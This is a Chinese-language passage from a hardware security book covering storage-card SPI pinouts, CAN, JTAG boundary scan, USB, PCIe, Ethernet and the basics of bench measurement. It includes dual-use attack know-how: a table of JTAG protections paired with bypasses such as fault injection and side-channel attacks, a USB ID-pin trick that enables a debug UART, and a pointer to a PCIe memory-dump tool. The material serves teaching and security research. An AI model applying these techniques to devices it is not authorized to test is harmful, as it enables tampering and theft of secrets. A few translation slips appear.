SD 通过用双向控制和数据线替换 COPI 和 CIPO 线路来修改 SPI。SD 还从这两条线路扩展,增加了两条或四条双向数据线的模式。eMMC 进一步扩展了这两条或四条线路,增加了八条双向数据线,而 SDIO 通过使用接口与除存储设备外的其他设备进行交互,进一步扩展了基本的低级协议,并添加了中断线。

在这些规范的逐步迭代过程中,一个低 ly 的 1 MHz、1 位 SPI 总线已经扩展到最多 8 位并行位和高达 208 MHz 的时钟。它可能不再是一个“低速串行总线”,但方便的是,几乎所有设备都向后兼容,当你可以以低速 SPI 运行时,仍然可以使用低成本的嗅探器从这些设备中提取有用信息。对于仍然支持 SPI 的各种存储卡,表 2-1 显示了 MMC、SD、miniSD 和 microSD 卡的 CS、COPI、CIPO 和 SCLK 引脚位置。

表 2-1:MMC、SD、miniSD 和 microSD 卡的 SPI 通信引脚排列(来自en.wikipedia.org/wiki/SD_card,CC-BY 3.0 许可)

MMC 引脚 SD 引脚 miniSD 引脚 microSD 引脚 名称 I/O 逻辑 描述
1 1 1 2 nCS I PP SPI 卡选择 [CS](负逻辑)
2 2 2 3 DI I PP SPI 串行数据输入 [COPI]
3 3 3 VSS S S 接地
4 4 4 4 VDD S S 电源
5 5 5 5 CLK I PP SPI 串行时钟 [SCLK]
6 6 6 6 VSS S S 接地
7 7 7 7 DO O PP SPI 串行数据输出 [CIPO]
8 8 8 NC nIRQ . O . OD 未使用(存储卡) 中断(SDIO 卡,负逻辑)
9 9 1 NC . . 未使用
10 NC . . 保留
11 NC . . 保留

你可以看到,基本引脚在它们之间是共享的,这意味着设备被命名为 SD 卡、microSD 卡、MMC 或 eMMC 设备,实际上声明了设备协议和性能的上限。对于大多数我们要做的硬件工作,我们可以以相同的方式与设备交互,因为我们不关心最高性能。图 2-13 显示了与表格对应的物理引脚位置。

你会注意到标准之间有一些物理对齐,例如将 MMC 卡插入 SD 卡读卡器时,仍然能接触到引脚 1–7。如果你直接与 miniSD 卡接口,也要注意 miniSD 的奇数编号,因为引脚 10 和 11 位于引脚 3 和 4 之间!

f02013

图 2-13:物理位置与表 2-1 中所示的 SPI 引脚对应

CAN 总线

许多汽车应用使用控制器局域网络(CAN)总线来连接与传感器和执行器通信的微控制器。例如,方向盘上的按钮可能通过 CAN 发送命令到车载音响系统。你还可以通过 CAN 读取实时引擎数据和诊断信息,这意味着你可以通过被入侵的蜂窝连接访问汽车微控制器,从而访问发动机控制。例如,参见 Dr. Charlie Miller 和 Chris Valasek 的“未修改的乘用车远程利用”一文。我们曾经玩弄过电动自行车显示屏和电机控制器之间的通信,结果发现它也使用了 CAN。

CAN 使用差分信号传输,因为汽车的电气环境嘈杂,并且稳健性是一个重要的安全要求。CAN 有几种变体,但主要的有高速和低速容错 CAN。两者都使用一对差分信号线,分别称为 CAN 高电平和 CAN 低电平,但这些线的名称与低速或高速 CAN 无关。相反,差分信号是通过两个 CAN 引脚传输的,这些名称与用于表示逻辑 1 或逻辑 0 的电压电平相对应:

  • 高速 CAN 的比特率从 40Kbps 到 1Mbps,使用 CAN 高电平 = CAN 低电平 = 2.5 V 表示逻辑 1,CAN 高电平 = 3.75 V 和 CAN 低电平 = 1.25 V 表示逻辑 0。

  • 低速 CAN 的比特率从 40Kbps 到 125Kbps,使用 CAN 高电平 = 5 V 和 CAN 低电平 = 0 V 表示逻辑 1,CAN 高电平 ≤ 3.85 V 和 CAN 低电平 ≥ 1.15 V 表示逻辑 0。

这些电压是针对理想情况规定的,实际情况中可能有所不同。一种名为CAN 灵活数据速率(FD)的 CAN 更新版本将速度提高至 12Mbps,同时还将单个数据包中传输的最大字节数增加至 64。

JTAG 及其他调试接口

联合测试行动小组(JTAG)是一个常见的硬件调试接口,对安全性至关重要。JTAG 制定了 IEEE 1149.1 标准,名为《标准测试接入端口与边界扫描架构》。其目标是规范化测试/调试芯片以及测试印刷电路板(PCB)制造缺陷的一种方式。本书无法全面覆盖 JTAG,但我们将提供概述,供你查找其他资源。

为什么需要进行这种测试或调试?随着 1980 年代多层 PCB 的广泛应用,制造厂中测试刚生产出来的 PCB 的需求变得愈加迫切,同时又需要避免将内层暴露给外界。工程师们想出了一个方法,利用 PCB 上现有的芯片来测试连接。

当你执行 边界扫描 时,你基本上会禁用每个芯片的实际功能,而启用通过测试设备对每个芯片引脚的控制。例如,如果芯片 A 的第 6 引脚连接到芯片 B 的第 9 引脚,你可以让芯片 A 将第 6 引脚设置为低电平然后再设置为高电平,然后你可以在芯片 B 的第 9 引脚上观察该信号是否真正到达。将此扩展到所有芯片和所有引脚,你可以通过使用 JTAG 引脚将所有芯片级联在一起,从而验证 PCB 的正确制造。要正确执行边界扫描,你需要一个定义所有级联芯片的文件,这些定义通常在 边界扫描描述语言(BSDL) 文件中指定。如果你幸运的话,可以在网上找到这些芯片定义。

边界扫描让你接触到 PCB,而不是芯片本身,因此在你尝试访问 PCB 内层时,它是一个有用的选择。从技术上讲,你可以做一些有趣的事情,比如切换 SPI 或 I2C 引脚,并通过 JTAG 进行这些协议的通讯,但这会非常慢,所以你最好实际连接到 SPI 或 I2C 的线路上。使用边界扫描足够快,可以查看 UART 或其他低速流量,如果你在采样模式下使用 JTAG,它是被动运行的,也就是说,它不会控制芯片,芯片仍然正常工作。

给定 BSDL 文件的设备端口引脚切换工具是存在的;一些知名的例子包括 UrJTAG(开源)和 TopJTAG(低成本并提供免费试用,基于 GUI)。这些工具对于 PCB 反向工程非常有帮助,因为你可以切换芯片的某个引脚并观察在 PCB 上发生的情况。你还可以驱动网络或将已知模式映射到芯片引脚上。图 2-14 显示了使用 TopJTAG 查看串行数据波形的例子。

f02014

图 2-14:使用边界扫描检查一个我们无法轻易探测的小型 BGA 设备

一个名为 JTAG Boundary Scanner 的开源工具,由 Viveris Technologies 提供,提供了一个简单的库以及一个 Windows GUI,用于基于从 BSDL 文件中学习的引脚名称访问引脚。如果你希望自动化更复杂的任务,例如记录上电序列或通过 JTAG 发送 SPI 命令,JTAG Boundary Scanner 工具是一个很好的起点。它也是开源 pyjtagbs(github.com/colinoflynn/pyjtagbs/)Python 绑定的基础,允许你通过 JTAG 端口执行类似功能。

如果使用边界扫描模式,你可以选择运行一个SAMPLE指令,这个指令可以让你查看 I/O 引脚状态,或者运行一个EXTEST指令,允许你控制 I/O。通常,EXTEST指令可能会禁用其他功能(如 CPU 核心),所以如果你尝试检查一个正在运行的系统,应该在SAMPLE模式下使用边界扫描工具。

更多以芯片为中心(不仅仅是 I/O 引脚)的控制通过 JTAG 测试访问端口(TAP)控制器进行,它提供了片上调试能力。好消息是它在一定程度上是标准化的;坏消息是这种标准化程度相当低。基本上,TAP 控制器可以执行 IC 复位并从两个寄存器中读写数据:指令寄存器(IR)数据寄存器(DR)。调试功能,如内存转储、断点、单步执行等,是在这个标准接口之上的专有附加功能。很多这类功能已经被逆向工程,并且可以在软件中使用,例如 OpenOCD。这意味着,如果你有一个支持的目标,你可以将 OpenOCD 连接到 JTAG 适配器,然后使用 GDB 连接到 OpenOCD 并调试 CPU!

JTAG 使用四到六个引脚:

  • 测试数据输入 (TDI) 将数据传输到 JTAG 串联链中。

  • 测试数据输出 (TDO) 从 JTAG 串联链中输出数据。

  • 测试时钟 (TCK) 为 JTAG 链上的所有测试逻辑提供时钟。

  • 测试模式选择 (TMS) 选择所有设备的操作模式(例如,边界链操作与 TAP 操作)。

  • 测试复位 (TRST,可选) 复位测试逻辑。另一种复位方法是将 TMS 保持为 1,持续五个时钟周期。

  • 系统复位 (SRST,可选) 复位整个系统。

JTAG 有几个标准的头接口。例如,ARM 有一个标准的 20 引脚连接器。你也可以通过追踪怀疑的芯片 JTAG 引脚来识别 JTAG。如果你不确定一组引脚是否是 JTAG,可以尝试像 Joe Grand 的 JTAGulator 这样的工具,它使用巧妙的算法来识别每个 JTAG 引脚。(我们在附录 B 中给出了几个这些头接口的示例。)

你可能会想,是否完全调试访问 CPU 会非常不安全。答案是肯定的。这就是为什么注重安全的制造商会做各种事情来禁用 JTAG,而这些措施让攻击者需要做更多的工作才能攻击系统(参见表 2-2)。

表 2-2:JTAG 端口禁用措施与攻击概述

JTAG 保护措施 保护措施攻击
移除 PCB 连接器。 将连接器重新焊接到 PCB 上。
移除 PCB 路径。 直接将线缆连接到 CPU 上的 JTAG 引脚,这对于不直接暴露引脚的芯片封装来说会稍微复杂一点。
禁用 JTAG 以确保安全操作。一个例子是 ARM 核心上的 SPIDEN 输入信号,它可以禁用安全世界的调试。另一个单独的输入信号 SPNIDEN 可以禁用普通世界的调试。 如果这些 CPU 信号通过封装引脚引出,将其拉高。
使用芯片中的 OTP 熔丝配置,烧录后禁用 JTAG。 对熔丝读取或影像寄存器进行故障注入。
在启用 JTAG 之前,先对其设置授权协议。 如果使用挑战/响应协议或授权失败,则对加密密钥的旁路通道进行攻击。

在这一系列 JTAG 防御和攻击措施中,注意到 JTAG 并不是你会看到的唯一调试接口。其他调试接口的制造商包括使用 Atmel AVR 协议(基于 SPI 协议)的协议,使用 Atmel XMEGA 协议(Atmel 的程序和调试接口,或称 PDI,这类似于 SPI,但只有一条数据线),以及 TI Chipcon 系列的协议。

你还会发现一些接口仅支持芯片内调试模式,而不支持 JTAG 边界扫描模式(或反之亦然)。例如,Microchip SAM3U 有一个名为 JTAGSEL 的物理引脚,用于选择 JTAG 端口的运行模式,是芯片内调试模式还是边界扫描模式。如果你想使用非默认模式,可能需要修改电路板以将该引脚拉至所需电平。你还可能发现某些设备禁用了 JTAG 调试模式,但仍然启用了 JTAG 边界扫描模式。这并不是直接的安全漏洞,但边界扫描模式对于各种逆向工程工作非常有用。从技术上讲,你可以在边界扫描模式下做的任何事情,通过探测物理 PCB 也能做到(这就是为什么启用边界扫描模式不是一个安全问题),但是使用这种模式会让你的工作变得更加轻松。

我们在第一章介绍了基于 ROM 的引导加载程序。在某些情况下,你可以使用这些引导加载程序进行编程,有时它们也提供调试支持,允许你读取内存位置。

并行接口

低速串行接口并不总是能够满足需求。如果你只需要在启动时加载 4MB 的压缩固件,它们是合适的,但如果你有一个 128MB 可写的文件系统,或者想要一个低延迟的外部动态 RAM(DRAM)接口,串行总线就无法提供合理的性能。提高接口的时钟频率是有实际限制的,而且你仍然需要在使用数据之前对其进行反序列化。使用多个数据线并行传输是一种更具可扩展性的方法。铺设 8 根或 16 根电线能为内存访问或快速存储提供更多带宽。并行总线的主要应用之一就是内存。

图 2-15 中展示了来自 i.MX6 Rex 板的摘录,图中显示了从芯片到外部 DRAM 的多个并行总线线。

f02015

图 2-15:来自 i.MX6 Rex 开源板的摘录

看看连接到双倍数据速率(DDR)内存总线的引脚布局?许多数据和地址线(分别标记为 DRAM_D 和 DRAM_A)也有显示。

内存接口

与串行接口不同,串行接口你只需连接两到四根电线,然而并行总线可能包含多个地址、数据和控制信号线。例如,你可能会发现一个闪存芯片,具有 24 根地址位、16 根数据输入/输出位和 8 根或更多的控制信号线。你会面临比串行接口更复杂的探测工作;对于真正勇敢的人,DDR4 有 288 根引脚。因为各种标准存在于比特率、引脚/电线分配等方面,事先研究你的目标是非常有帮助的(参见第三章)。你将主要遇到作为并行总线实现的内存接口,无论是用于 DRAM 还是闪存,如图 2-15 中 DDR 接口的示例所示。

有几种连接电路中并行接口的选项。如果引脚间距足够宽,你可能可以使用几打抓取探头和一堆乱七八糟的电线连接到逻辑分析仪或通用编程器(参见附录 A 以了解示例供应商)。但通常情况下,当设备引脚较多时,引脚会变得更小并且被布线到 PCB 的内部层。大多数芯片有标准尺寸,虽然它们可能比较昂贵,但你可以为大多数设备购买在电路板上直接夹取的夹子。与不那么密集的组件夹子不同,这些夹子通常配有一个柔性印刷电路带,它将所有电路引出到一个独立的拆解板上,你可以将其适配到分析仪或编程器上。

只要你能接触到引脚,应该就能想办法将它们连接起来。如果逻辑分析仪足够快速,它可以让你捕捉所有通过接口的流量进行后续分析,并且只需进行被动分析。

如果你需要对接口进行完全控制,并且无法将其从系统的其他部分隔离,或者如果你的目标设备是一个没有可访问引脚的球栅阵列(BGA)封装,你可能需要将芯片从电路板上拆下来才能读取或写入数据。拆焊并更换设备而不损坏任何组件肯定不是万无一失的,而且听起来可能并不容易,但通过实践(或有才华的朋友的帮助),你可以在相对较低的失败风险下可靠地完成这一操作。(第三章进一步详细讲解了闪存芯片的读取,附录 A 列出了一些有用的工具。)

高速串行接口

我们已经讨论过,布置八倍数量的信号线比稳定地运行一根线并以八倍速率传输数据更容易。虽然“高速串行接口”这个术语听起来似乎有些矛盾,但实际上并非如此。在前面的章节中,我们描述了单端信号,而在本章早些时候,我们提到过在某些情况下,差分信号能够在 GHz 范围内稳定运行,而单端信号只能限制在几 MHz 内。

高速串行接口促进了过去十年大部分数据传输速率的提升。40 针的并行 ATA 电缆最大支持 133 MHz,但被七针的 Serial ATA 电缆取代,后者现已支持 6 GHz 的速度。具有 32 条数据线的 PCI 插槽最高支持 33 MHz 或 66 MHz,但已被支持最高 8 GHz 速度的 PCIe 通道取代。这是由几个原因造成的。

首先,对于并行信号线,你需要确保所有信号在一个时钟周期内在接收端稳定。随着频率的提高,这变得更加复杂,因为这意味着所有信号线必须具有非常相似的物理特性,如长度和电气特性。其次,并行信号线容易受到串扰的影响,这意味着一根线充当天线,邻近的线充当接收器,从而导致数据错误。相比处理并行信号线,单根信号线的这些问题影响较小,并且使用差分信号能进一步减少这些影响。

这一进展的缺点是,在 6 GHz 的差分信号上观察或注入数据,比在 400 kHz 的单端信号上要困难得多。这种困难通常意味着“更贵”。你可以轻松地嗅探到这个 6 GHz 的信号,但你需要一台价格相当于中型轿车的逻辑分析仪。

幸运的是,所有这些接口在电气特性上非常相似,并且它们被设计成即使在不理想的条件下也能可靠工作。这意味着,如果你附加到 PCIe 通道上的探头加载得太重,导致它无法以全速工作,它将自动以较低的速度重新训练,而系统的其他部分甚至不会注意到这一变化。

通用串行总线

USB 是第一个使用高速差分信号的外部接口,它设立了一些优秀的先例。首先,如果你将 USB 设备连接到配备不同版本 USB 标准的主机上,连接的两端会自动调节到最高的共同标准。第二,如果传输丢失、错过或中断,它们会自动重试。最后,USB 实际上定义了许多特性,比如连接器形状和引脚分配、电气协议、数据协议,一直到设备类别以及如何与之接口。例如,USB 人机接口设备(HID) 规范用于键盘和鼠标等设备,它允许操作系统(OS)为所有 USB 键盘提供一个驱动程序,而不是为每个制造商提供一个驱动程序。

USB 连接由一个主机和最多 127 个设备(包括集线器)组成。USB 版本支持不同的比特率,从 USB 1.1 的 12Mbps,到 USB 2.0 的 480Mbps,再到 USB 3.0、3.1 和 3.2 中的 5、10 和 20Gbps。对于最高 480Mbps 的数据速率,使用四根线。超过 480Mbps 时,需要额外的五根线。所有九根线如下:

  1. VBUS 一个 5V 线路,可用于为设备提供电源。

  2. D+ 和 D- 用于通信的差分对,支持最高 USB 2.0 版本。

  3. GND Venerable ground (for power).

  4. SSRX+,SSRX-,SSTX+,SSTX- 两对差分信号,一对用于接收,一对用于发送(USB 3.0 及以上版本)。

  5. GND_DRAIN 另一个信号地;这个附加的地比电源地噪声更小,电源地可能处理更大的电流(USB 3.0 及以上版本)。

USB 的电源线提供至少 100 mA 的电流,电压为 5V,你可以从中获取电力以为设备供电。根据 USB 标准和主机的不同,这个可用电流可以达到 48V 下的 5A(5A × 48V = 240W),但在允许你使用如此多的电流之前,你实际上需要与 USB 主机进行数字通信。

现在,试试拿起最近的 USB 2.0 微型电缆,数一数引脚的数量。你会发现有五个,而 USB 2.0 只需要四个引脚。第五个引脚是 ID 引脚,最初用于 USB On-The-Go(OTG)。可以作为主机或外设使用 OTG 的设备,配有一条特殊的 OTG 电缆,电缆一端是主机端,另一端是外设端。

ID 引脚信号表示哪个端插入,因此设备可以感知其角色是主机还是外设:接地的 ID 引脚表示“主机”,浮空的 ID 引脚表示“外设”。然而,正如 Michael Ossmann 和 Kyle Osborn 在他们 2013 年的 Black Hat 演讲《复用线攻击面》中所展示的那样(www.youtube.com/watch?v=jYa6-R-piZ4),你可以通过不同于“接地”或“浮空”的电阻值启用隐藏功能。他们展示了,如果你在 ID 引脚上加上 150 kΩ 的电阻,Galaxy Nexus(GT-I9250M)就会关闭 USB 功能并启用 TTL 串行 UART,从而提供调试访问。

USB 是普及的,并且已经存在了二十多年,因此它很可能是你可以像观察或操作其他许多更简单、更慢的接口一样,轻松观察或操作的高速串行接口的最佳示例。它还具有标准通信协议的优势,这意味着你可以从几乎任何 USB 设备请求特定的信息。USB 协议栈本身相对复杂,因此模糊测试通常会产生有趣的结果,而故障注入可以进一步推动这一过程。Micah Scott 有一个非常棒的演示,你可以在视频“Glitchy Descriptor Firmware Grab – scanlime:015”中看到它(www.youtube.com/watch?v=TeCQatNcF20)。

PCI Express

PCI Express (PCIe) 是旧版 PCI 总线的高速串行进化版,其架构与 USB 惊人地相似。两者都使用高速差分对来实现点对点连接。两者都有明确的层次结构和协议来枚举设备。两者都向后兼容,并自动协商最佳接口。

尽管 PCIe 最初是为个人计算机设计的,而非嵌入式系统,但目前市场上的基于 ARM 和 MIPS 的系统芯片(SoC)支持 PCIe,你可以在价格低至$20 的嵌入式系统中找到它们。与 USB 的 12 MHz 不同,PCIe 的起始频率为 2.5 GHz,因此简单的嗅探器无法应对。然而,一些 PCIe 设备足够灵活,可以启用一些意外的用途。

PCIe 的一个独特特性是它通常与 CPU 或 SoC 紧密耦合。而 USB 在没有所有相关驱动程序的情况下无法工作,PCIe 通常可以完全访问系统内存,以及所有其他 PCIe 设备和系统中的其他设备。如果你能够将一个恶意的 PCI 设备插入目标系统,你可能能够控制整个系统中的所有硬件。有关如何使用 PCIe 获取内存转储的一些示例,请参阅github.com/ufrisk/pcileech/

以太网

以太网于 1983 年首次标准化,用于创建计算机网络。它在物理电缆、速度和帧类型方面有不同的变种,但在嵌入式系统中最常见的类型是 100BASE-TX(100Mbps)和 1000BASE-T(1Gbps),都使用熟悉的 8P8C 插头。这个插头连接到一个包含四个双绞线的电缆中。每对线用于差分信号传输,线对的扭绞有助于减少串扰和外部干扰。

两种标准都以 125 MHz 的线路波特率运行,这意味着如果你连接示波器,你会看到 125 MHz 的信号。100BASE-TX 与 1000BASE-T 之间的 10 倍速度差异是因为 100BASE-TX 使用+1 V、0 V 或−1 V 的单线对信号,而 1000BASE-T 则在四对线的所有信号上使用−2 V、−1 V、0 V、+1 V 和+2 V 的电平。

测量

没有一些基础的测量内容,任何一本硬件书籍都是不完整的。你会通过测量来更深入地了解目标,但更重要的是,理解测量将帮助你调试所有可能遇到的连接问题。让我们来看看一些基本工具——可靠的老旧万用表、炫目的示波器以及极具时尚感的逻辑分析仪——并讨论为什么以及如何使用它们,它们可能出现的问题,以及一些适合你实验室的参考资料。

万用表:电压

测量电压对于确定供电电压或通信电压至关重要。如果你打算使用实验室电源为芯片供电,在连接电源之前使用电压表进行检测是一个不错的确认步骤(希望你已经从设备数据手册中找到了电压值)。同样,对于通信电压,你可能需要使用电平转换器将 PCB 上的电压与通信接口的电压匹配。

将万用表设置为直流电压测量模式。万用表的交流电压测量模式在我们这里讨论的电路类型中并不适用。一些万用表有自动量程功能,而有些则需要你手动设置“最大量程”。对于测量 3.3V 电压,你需要将量程开关设置为大于 3.3V 的档位,因此 10V、20V 和 200V 的量程都适用。详细信息请参考用户手册。测量电压时,将黑色探头接地(通常可以将黑色探头接到机壳上,但有时那并不是地),然后测量你希望了解电压值的点与地之间的电压。

万用表:连续性测试

测量连续性可以让你判断两个点是否连接,这对于追踪 PCB 上的线路、接头、引脚等非常有用。要测量连续性,将万用表设置为欧姆档,因为接近零的电阻表示两个点是电连接的。同样,具体连接方式请参考手册。在测量电阻时,请关闭目标设备电源,这样几乎没有损坏任何元件的风险。将两个探头接触两个点,如果电阻接近零(或者听到一声响声),则表示有连接。选择一款在有连接时会发出蜂鸣声的万用表,这样你就不需要一直观察屏幕。

连续性测试是通过探头引线通电小电流并测量电压来完成的。如果你尝试测量一个仍然带电的设备,通常会得到错误的读数,因为万用表“看到”的电压实际上是由被测电路提供的。

数字示波器

示波器测量并可视化模拟信号,展示电压随时间的变化。当我们说示波器时,指的是数字采样示波器,因为模拟示波器不具备我们需要的功能。示波器可以测量数字通信通道(尽管逻辑分析仪是一个更合适的工具),并且通过正确的探头和目标准备,示波器能够测量功耗或电磁(EM)辐射,尤其在进行侧信道分析时。这是一个发现 PCB 模拟域中发生情况的关键工具。附录 A 从示波器功能的角度描述了示波器。在这里,我们聚焦于它们的使用。

示波器有多个输入通道,通过一个或多个探头与信号源连接,信号源可以是 PCB 上的线路或引脚、微控制器的引脚,或者只是一个用于测量电磁(EM)信号的线圈。探头通常衰减(降低信号源的幅度)信号,然后将信号传送到示波器。随示波器附带的探头通常是 10×衰减,并且应该在你的探头上标明。这意味着你的信号中 1 V 的差分信号,在输入示波器时将变为 0.1 V 的差分信号;不过,你的示波器探头可能可以在 1×(不衰减)和 10×(衰减)之间切换。

衰减的一个大优点是它减少了电路的负载,并提高了示波器的频率响应。使用 1×模式的示波器探头通常意味着带宽较低(无法测量高频信号),而且示波器探头的电负载可能会影响被测电路。因此,许多高性能的示波器探头都是固定在 10×模式下,因为大多数用户更倾向于使用 10×模式的高频响应优势。

任何探头都需要与示波器阻抗匹配。示波器会有一个输入阻抗(例如 50 Ω或 1 MΩ),而你的探头阻抗需要与之相同,以避免信号退化。想象两根管子连接在一起。如果其中一根管子比另一根窄得多,那么水波就无法在管子之间正确传播;部分波能量会在连接点反弹回来。在测量术语中,RG58U 探头电缆具有 50 Ω的特性阻抗,这意味着对于非常快速的变化(例如陡峭的边缘),电缆看起来像一个 50 Ω的终端。如果你将示波器保持在 1 MΩ,那么不连续性会导致边缘到达示波器时发生反射(反弹)。这会扭曲测量结果。

示波器上的阻抗可能是固定的或可配置的,而探头的阻抗是固定的。普通示波器探头设计为 1 MΩ阻抗。如果你使用的是高端(昂贵的)示波器,它们可能会自动检测所连接探头的类型。如果存在阻抗不匹配,你可能需要一个阻抗匹配器。一些特殊探头(例如电流探头)需要 50 Ω的阻抗,例如,如果你的示波器没有这个选项,你就需要一个这样的阻抗匹配器。

示波器和探头还将具有模拟带宽,以 Hz 为单位表示,代表它们能够测量的最大频率。探头和示波器不需要完全匹配,但探头和示波器的总带宽受到最低带宽组件的限制。你想要测量的信号应该在该带宽范围内。例如,在侧信道分析中,确保示波器的带宽高于加密时钟频率。(不过,这并不是硬性要求;有时加密信号会在低于时钟频率的频率下泄漏。)

你可以插入一个低通滤波器来人工限制带宽,这对于过滤信号中的噪声非常有用。类似地,你可以添加一个高通滤波器,通常用于去除直流或低频成分(例如,许多电源存在低频噪声)。根据早期测量的频率分析或目标信号的知识来选择这些滤波器。Mini-Circuits 品牌有一些易于使用的模拟滤波器;确保将它们与示波器和探头进行阻抗匹配。

你可以将示波器通道配置为交流或直流耦合模式。直流耦合意味着它可以测量到 0 Hz 的电压(直流偏移),而交流耦合则意味着非常低的频率会被滤除。对于侧信道分析,通常区别不大,因此交流耦合模式稍微容易一些,因为你不需要将信号居中。

现在,模拟信号进入示波器,需要使用模拟到数字转换器(ADC)将其转换为数字信号。这些转换器的分辨率通常以位为单位进行测量。例如,许多示波器使用 8 位 ADC,这意味着示波器的电压范围被划分为 256 个相等的量化范围。图 2-16 展示了一个简单的 3 位 ADC 输出示例,其中一个平滑的正弦波输入被转换为数字输出(类似于曾经流行的 8 位计算机游戏,游戏中的主角是一位意大利水管工)。

此数字输出仅具有固定值;因此,ADC 不完美地表示输入信号。误差量部分取决于分辨率;例如,如果我们有一个 8 位 ADC 而不是 3 位 ADC,那么图 2-16 输出中的“阶梯”将具有更小的步长。然而,绝对电压误差还取决于我们要求 ADC 表示的总范围。在相同的 3 位中表示的 10 V 范围(八个步骤)意味着每个位为 1.25 V,但在相同的 3 位中表示的 1 V 范围意味着每个步骤为 0.125 V。

f02016

图 2-16:正弦波输入被转换为数字输出的阶跃序列。

示波器将具有最小和最大电压,由电压范围表示,通常是可配置的。几乎每个示波器都有一个可调的跨度,但有些还有可调的输入偏移。跨度将显示我们可以测量的最大范围;例如,10 V 跨度可能意味着我们从 -5 V 到 5 V 进行测量。如果我们有一个输入偏移,我们可以将同样的跨度移动到意味着从 0 V 到 10 V 的测量。务必配置它,使其紧贴您感兴趣的信号。如果范围太小,您将住信号,因为其电压超出范围。如果范围太大,将获得大的量化误差。如果您仅使用范围的 10%,则仅使用 256 个可能同值中的大约 10%。不同的示波器将具有不同的输入偏移和跨度范围。

这些 ADC 在可编程的采样率下运行,这意味着它们每秒输出新样本的次数。一个样本就是一个测量输出。通常情况下,采样率应至少是你想要捕捉的最高频率的两倍,正如奈奎斯特-香农采样定理所述。在实践中,比两倍最高频率更高的采样率效果更好;可以提高到五倍。如果您的示波器测量是同步到目标设备的,每个采样点发生在目标时钟周期上,您可以使用降低的采样率。

一系列样本称为跟踪。数字示波器具有用于记录跟踪的缓冲区,称为存储深度。一旦记录填满存储器,跟踪需要发送到 PC 进行处理,或者为下一次测量丢弃。

深度和采样率共同确定跟踪的最大长度。为了效率,限制跟踪长度非常重要。跟踪的长度由单个跟踪中获取的样本数配置。

示波器可以持续地进行数据测量(记录),或者也可以通过外部刺激信号来启动,这个信号称为触发器。触发器是一个数字信号,通过专用的触发通道或普通探头通道进入示波器。一旦示波器激活,它将等待触发信号超过可配置的触发电平,然后示波器开始测量波形。如果示波器在触发超时之前没有观察到高触发信号,它会认为触发丢失并仍然开始测量。将触发超时设置为明显的时间(比如 10 秒)是有用的。如果你看到你的采集过程(进行大量测量)变慢到每 10 秒钟采集一条波形,你就知道触发丢失了。最初,测量并观察触发通道的波形对于调试任何触发问题是非常有帮助的。

在实验室环境中,目标本身通常会生成触发信号。例如,如果你想测量一个特定的加密操作,首先通过外部通用输入/输出(GPIO)引脚拉高触发信号,然后开始操作。这样,示波器将在操作开始前就开始捕获数据。

一旦波形完全捕获,高端示波器具有内置显示功能进行可视化,而更简单的 USB 示波器则将数字信号发送到 PC 进行可视化。两者都可以将波形发送到 PC 进行分析,例如,用于查找侧信道!

就像用万用表测量电压一样,目标需要通电,因此要采取预防措施,避免伤害自己或损坏设备。同时,确保所有工具都已正确配置。示波器配置错误不总是显而易见的,因此请确保自己做好准备,避免将来花时间重新进行错误的测量。

常见错误包括未正确接地范围导线。如果使用多个探头,每个探头都应该接地,并且必须确保它们都连接到同一接地点(否则,电流将通过示波器流动)。如果需要进行高频或低噪声测量,良好的接地非常重要。许多示波器探头都有一个小的弹簧接地选项,如图 2-17 所示。

f02017

图 2-17:一个小型示波器探头上的弹簧接地导线

使用这种接地方法时,PCB 上的接地和示波器探头之间有一个小的间距。通常需要弯曲弹簧导线以适应你的 PCB,但这是一种低成本且简单的方式,能获得良好的高频性能。

在设置测量时,你还需要确保连接方式具有物理上的稳固性。悬挂在工作台上的示波器探头可能会被衣物(或任何实验室宠物)挂住,并将你昂贵的开发板和示波器一起拉下来。临时的电缆扎带、热熔胶、胶带,甚至只是重物,都是确保探头线不会被路过的人体挂住的完美方法。

尽可能地,最好在电路关闭时更改设备设置或探头位置。附加示波器探头时容易滑动,如果探头尖端短接到电源,通常会导致探头尖端的腐蚀,尤其是当形成电弧时。即使是典型开发板上的低电压,也能导致小电弧,这会损坏探头尖端。当然,短接时还可能损坏被测设备,甚至会将较高电压(如 12 V 输入电压)短接到低电压电路中。

逻辑分析仪

逻辑分析仪 是一种允许你捕捉数字信号的设备。它是示波器的数字变种。通过它,你可以捕捉并解码使用电压编码数据的通信通道。你可以使用逻辑分析仪解码 I2C、SPI 或 UART 通信,或者探测更宽的通信总线,支持各种波特率。与示波器一样,逻辑分析仪也有多个通道、采样率、电压等级,并且通常还可以选择触发功能(见 图 2-18)。

f02018

图 2-18:来自逻辑分析仪的示例时间序列测量

一些示波器具有基础的逻辑捕捉和协议分析功能,但它们的通道数有限。相反,一些逻辑分析仪具有基础的模拟信号捕捉功能,但其带宽和采样率非常低。

逻辑分析仪出错的可能性不大。就像使用示波器一样,你需要在系统通电时使用它,因此所有的安全预防措施都适用。

总结

本章讨论了与硬件接口相关的多个主题:电气基础知识、如何使用这些基础知识进行通信,以及在嵌入式设备上可能遇到的不同类型的通信端口和协议。我们已经覆盖了比你与单个设备进行通信所需的更多内容,因此可以把本章当作参考,在以后遇到关于什么是电压、什么是差分信号,或者电路板上六针插头可能是什么的问题时,翻阅查看(更多内容请参见附录 B)。本书附带了索引,帮助你找到特定信息的位置。在本书后面的实验中,我们将使用最常见的接口,但在实际工作时,你将需要与各种设备进行通信。经过一些实践后,连接到接口就成了一个小障碍,跨过它后,就可以开始有趣的工作:通过这些接口发送数据(并最终从中获取机密信息)。同时,利用你对测量(数字或模拟)的知识来调试你不可避免的连接问题。只是要小心蓝色烟雾!

第三章:查探目标:识别组件和收集信息

弗兰克·赫伯特在《沙丘》中写道:“开始是一个非常微妙的时刻。”正如你可能知道的,项目的开始方式为其成功奠定了基调。基于错误假设进行操作或忽视一些小信息,可能会使项目偏离轨道并浪费宝贵的时间。因此,无论是进行逆向工程还是研究项目(硬件项目也不例外),在调查目标系统的早期阶段收集并审查尽可能多的信息至关重要。

大多数基于硬件的项目都从好奇心和事实收集阶段开始,本章旨在帮助这一阶段。如果你在没有设计文件、规格说明书或物料清单(BOM)的情况下进行目标系统审查,你自然会从拆开设备并查看里面的内容开始。这就是最有趣的部分!本章概述了识别有趣组件或接口的技术,并分享了收集设备及其组件信息和规格的想法。

这个信息收集阶段并非线性进行。你会发现各种各样的拼图碎片。在本章中,我们展示了找到这些碎片的方法,而将它们以任何顺序拼凑起来,使得图像足够完整,就由你自己决定了。

信息收集

